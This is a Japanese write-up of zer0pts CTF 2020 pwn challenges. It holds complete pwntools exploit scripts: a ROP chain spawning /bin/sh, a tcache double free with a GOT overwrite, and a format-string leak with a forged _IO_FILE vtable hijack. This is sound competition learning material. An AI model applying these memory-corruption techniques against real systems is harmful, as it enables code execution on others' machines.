イントロ
いつぞや開催された zer0pts CTF 2020 にチーム TSG として参加した。 チームでは 8847 点 を取り、 そのうち自分は 1382 点 を解いて全体で 12 位だった。
pwn 中心の CTF なのにもっと得点源になれないのはカスすぎますね。 少しでもチームの得点に貢献できる日はいつになるのやら。
hipwn
やるだけ太郎:
exploit.py 1#!/usr/bin/env python
2#encoding: utf-8;
3
4from pwn import *
5import sys
6
7FILENAME = "./chall"
8
9rhp1 = {"host":"13.231.207.73","port":9010}
10rhp2 = {'host':"localhost",'port':12300}
11context(os='linux',arch='amd64')
12binf = ELF(FILENAME)
13
14int3_gad = 0x0040088c
15syscall_gad = 0x004024dd
16pop_rax_gad = 0x00400121
17pop_rdi_gad = 0x0040141c
18pop_rdx_gad = 0x004023f5
19pop_rbx_gad = 0x0040019b
20pop_rsi_r15_gad = 0x0040141a
21
22def exploit(conn):
23 conn.recvuntil("name?\n")
24 pay = "/bin/sh\x00"
25 pay += "A" * (0x108 - len(pay) - len("/bin/sh\x00"))
26
27 pay += "/bin/sh\x00"
28 pay += p64(pop_rax_gad)
29 pay += p64(59)
30 pay += p64(pop_rdi_gad)
31 pay += p64(0x604268)
32 pay += p64(pop_rsi_r15_gad)
33 pay += p64(0)
34 pay += p64(0)
35 pay += p64(pop_rdx_gad)
36 pay += p64(0)
37 pay += p64(syscall_gad)
38
39 conn.sendline(pay)
40
41
42if len(sys.argv)>1:
43 if sys.argv[1][0]=="d":
44 cmd = """
45 set follow-fork-mode parent
46 """
47 conn = gdb.debug(FILENAME,cmd)
48 elif sys.argv[1][0]=="r":
49 conn = remote(rhp1["host"],rhp1["port"])
50else:
51 conn = remote(rhp2['host'],rhp2['port'])
52exploit(conn)
53conn.interactive()
diylist
値を格納又は読み出しする際に、型を指定することができる。
char*
型としてアロケートしたときのみmalloc()
される。
char*
として allocate した後に
long
として GOT のアドレスを書き込み、
それを char*
として読み出しすると、 libc 関数のアドレスがリークできる。o
また delete
する際には、値が pool
に入っているもののみを char*
型としてfree()
する + free()
したあとも pool
からその値が削除されないという仕様になっている。
よって、アロケートした chunk のアドレスをリークした後、
long
型として chunk
を複数アロケートして、リークしたアドレスの値を書き込み、
それを delete
することで容易に tcache の Double Free が起こる。
尚、 libc は与えられていないが多分 libc2.27 だろうというメタ的推測をつけた (ha?)
(tcache の double free 検知は 2.27 にはない)
1#!/usr/bin/env python
2#encoding: utf-8;
3
4from pwn import *
5import sys
6
7FILENAME = "./chall"
8
9rhp1 = {"host":"13.231.207.73","port": 9007}
10rhp2 = {'host':"localhost",'port':12300}
11context(os='linux',arch='amd64')
12binf = ELF(FILENAME)
13
14def hoge(conn,ix):
15 conn.recvuntil("> ")
16 conn.sendline(str(ix))
17
18def _add(conn,ty,data):
19 hoge(conn,1)
20 conn.recvuntil(": ")
21 conn.sendline(str(ty))
22 conn.recvuntil("Data: ")
23 if ty==1 or ty==2:
24 conn.sendline(str(data))
25 else:
26 conn.send(data)
27
28def _get(conn,ix,ty):
29 hoge(conn,2)
30 conn.recvuntil("Index: ")
31 conn.sendline(str(ix))
32 conn.recvuntil(": ")
33 conn.sendline(str(ty))
34 conn.recvuntil("Data: ")
35 return conn.recvline().rstrip()
36
37def _edit(conn,ix,ty,data):
38 hoge(conn,3)
39 conn.recvuntil("Index: ")
40 conn.sendline(str(ix))
41 conn.recvuntil(": ")
42 conn.sendline(str(ty))
43 conn.recvuntil("Data: ")
44 if ty==1 or ty==2:
45 conn.sendline(str(data))
46 else:
47 conn.send(data)
48
49def _del(conn,ix):
50 hoge(conn,4)
51 conn.recvuntil("Index: ")
52 conn.sendline(str(ix))
53 if "Success" not in conn.recvline():
54 raw_input("[!] delete failed. enter to continue:")
55 else:
56 print("[-]successfully deleted")
57
58off_puts = 0x809c0
59off_strchr = 0x9d7c0
60off_printf = 0x64e80
61off_atol = 0x406a0
62onegadgets = [0x4f2c5,0x4f322,0x10a38c]
63
64target = "puts"
65
66def exploit(conn):
67 #leak libc
68 _add(conn,3,"D"*8)
69 print("[*]puts got: "+hex(binf.got[target]))
70 _edit(conn,0,1,binf.got[target])
71 puts_addr = unpack(_get(conn,0,3).ljust(8,'\x00'))
72 libcbase = puts_addr - off_puts
73 one1 = libcbase + onegadgets[2]
74 print("[+]puts: "+hex(puts_addr))
75 print("[+]libc base: "+hex(libcbase))
76 print("[+]onegadget: "+hex(one1))
77
78 #alloc chunk and avoid from freeing by changing the value different from the addr in the pool
79 _add(conn,3,"A"*8)
80 str_addr1 = int(_get(conn,1,1))
81 print("[+]addr: "+hex(str_addr1))
82 _edit(conn,1,1,0xdeadbeef)
83
84 #double free the tcache
85 _add(conn,1,str_addr1)
86 _del(conn,2)
87 _add(conn,1,str_addr1)
88 _del(conn,2)
89
90 #overwrite fd of tcache and write onegadget's addr on GOT of puts
91 _add(conn,3,p64(binf.got["puts"]))
92 _add(conn,3,p64(0xdeadbeef))
93 _add(conn,3,p64(one1))
94
95
96if len(sys.argv)>1:
97 if sys.argv[1][0]=="d":
98 cmd = """
99 set follow-fork-mode parent
100 """
101 conn = gdb.debug(FILENAME,cmd)
102 elif sys.argv[1][0]=="r":
103 conn = remote(rhp1["host"],rhp1["port"])
104else:
105 conn = remote(rhp2['host'],rhp2['port'])
106exploit(conn)
107conn.interactive()
grimoire
まず第一に filepath
を書き換えることで任意ファイルの読み込みは可能である。
但し、フラグファイル名の推測がつかないため、不採用:
まず、 filepath
が見当たらない際の error()
に於いて FSA ができる。
これによって、 textbase と libcbase の両方がリークできる。
また、fp
も自由に書き換えられるため fake _IO_FILE_plus
を作る。
但し libc 2.27 では _IO_vtable_check()
が走ることに注意。
今回は、 abort の際に _IO_str_jumps
の中の _IO_str_overflow
が呼ばれるように vtable を書き換え、
その中で呼ばれる _s._allocate_buffer
で PC を取ることにした。
但し、今回は運悪く movaps
に引っかかったため、
一度 call rsi
gadget を挟んでおくことにした。
rsi には _IO_write_base
だかend
だかが入るため、ここに予め onegadget の値を入れておく:
結局攻撃のフローは以下のようになった:
exploit.py 1#!/usr/bin/env python
2#encoding: utf-8;
3
4from pwn import *
5import sys
6
7FILENAME = "./chall"
8
9rhp1 = {"host":"13.231.207.73","port":9008}
10rhp2 = {'host':"localhost",'port':12300}
11context(os='linux',arch='amd64')
12binf = ELF(FILENAME)
13
14def hoge(conn,ix):
15 conn.recvuntil("> ")
16 conn.sendline(str(ix))
17
18def _open(conn):
19 hoge(conn,1)
20
21def _read(conn):
22 hoge(conn,2)
23 conn.recvuntil("--*\n")
24 return conn.recvuntil("*")[:-1]
25
26def _revise(conn,off,text):
27 hoge(conn,3)
28 conn.recvuntil("Offset: ")
29 conn.sendline(str(off))
30 conn.recvuntil("Text: ")
31 conn.send(text)
32
33def _close(conn):
34 hoge(conn,4)
35
36original_len = 370
37margin = 0x90-2 #オリジナルのtextの末尾とfpとのオフセット
38off_dlmap = 0x400031
39off_grimoire_open = 0x1045
40off_libc_scu_init = 0xab63d08690
41off_libc_start_main231 = 0x21b97
42off_main = 0x1478
43
44ogs = [0x4f2c5,0x4f322,0x10a38c]
45
46def exploit(conn):
47 #leak libcbase and textbase
48 _open(conn)
49 _read(conn)
50 _revise(conn,370,"A"*margin)
51 fp = unpack(_read(conn).split("A"*margin)[1].ljust(8,'\x00'))
52 print("[*]fp: "+hex(fp))
53 ##make it possible to fopen with init==1 by forcing fp=0
54 _revise(conn,370,"A"*margin + p64(0) + "B"*0x18 + "%13$p:%14$p:%22$p\x00")
55
56 _open(conn) #invoke error and do FSA
57 data = conn.recvline().split(": No such")[0]
58 textbase = int(data.split(":")[1],16) - off_grimoire_open
59 libcbase = int(data.split(":")[2],16) - off_libc_start_main231
60 addr_text = textbase + 0x202060
61 print("[!]libcbase: "+hex(libcbase))
62 print("[!]textbase: "+hex(textbase))
63 print("[*]addr text: "+hex(addr_text))
64
65
66 #forged fake _IO_FILE_plus
67 magic = 0x40
68 hoge = p64(0x0) #should be
69 hoge += p64(0x000055ce789cf603)
70 hoge += p64(0x000055ce789cf603)
71 hoge += p64(0x0)
72 hoge += p64(0x0)
73 hoge += p64(libcbase + ogs[0]) #rdi
74 hoge += p64(libcbase + ogs[0]) #rsi
75 hoge += p64(0x0) #_IO_buf_base
76 hoge += p64(0x700) #_IO_buf_end
77 hoge += p64(0)*4
78 hoge += p64(libcbase + 0x3ec680) #chain
79 hoge += p64(0x0000000000000005)
80 hoge += p64(0)*2
81 hoge += p64(libcbase + 0x3ed8b0)
82 hoge += p64(0x0000000000000173)
83 hoge += p64(0)
84 hoge += p64(libcbase + 0x3ed8b0) #lock
85 hoge += p64(0)*6
86 hoge += p64(libcbase + 0x3e8340 + 0x28) #_IO_str_jumps with little zure
87
88 hoge += p64(libcbase + 0x00022e91) #_s._allocate_buffer == call rsi gadget
89 hoge += "A"*(0x200 - magic -len(hoge)) + p64(addr_text + magic) + p64(0)*3 + "grimoire.txt"
90 _revise(conn,magic,hoge)
91 raw_input()
92
93 _close(conn)
94
95if len(sys.argv)>1:
96 if sys.argv[1][0]=="d":
97 cmd = """
98 set follow-fork-mode parent
99 """
100 conn = gdb.debug(FILENAME,cmd)
101 elif sys.argv[1][0]=="r":
102 conn = remote(rhp1["host"],rhp1["port"])
103else:
104 conn = remote(rhp2['host'],rhp2['port'])
105exploit(conn)
106conn.interactive()
babybof / protrude
チームの人が解いてくれました、凄い。
syscall kit
解けなかった。
気づきとしては:
・brk
は libc の wrapper じゃなくてシスコールの場合アドレスを返すということ
・xxx64
とか openat2
みたいな、seccomp されてないしスコール使えないんかな
・send
とかそのへん使えないんかな
・ソケット通信…?
バイナリ自体になんか欠陥があるだとか、C++固有の exploit だとかだったら、もう完敗。乾杯。
wget
チームの人が、 location 2 回書いて multiple free させて libc leak まではいった。 けど、自分的にデバッグ環境整えるの面倒でやれなかった。
meowmow
kernel 問題解いたことなさ過ぎて、モジュールのソース軽く見ただけで、放置してた。
grimoire
で hard なら medium のこの問題、意外といけたのか???
Survey
ptr-yudai san, バケモンか???
アウトロ
pwn 問題はとてもとても面白かったです (全完勢がいたこととジャンルに偏りがあったのはご愛嬌)。
時間内に解けなかった pwn 問題は後で必ず全部解いて復習する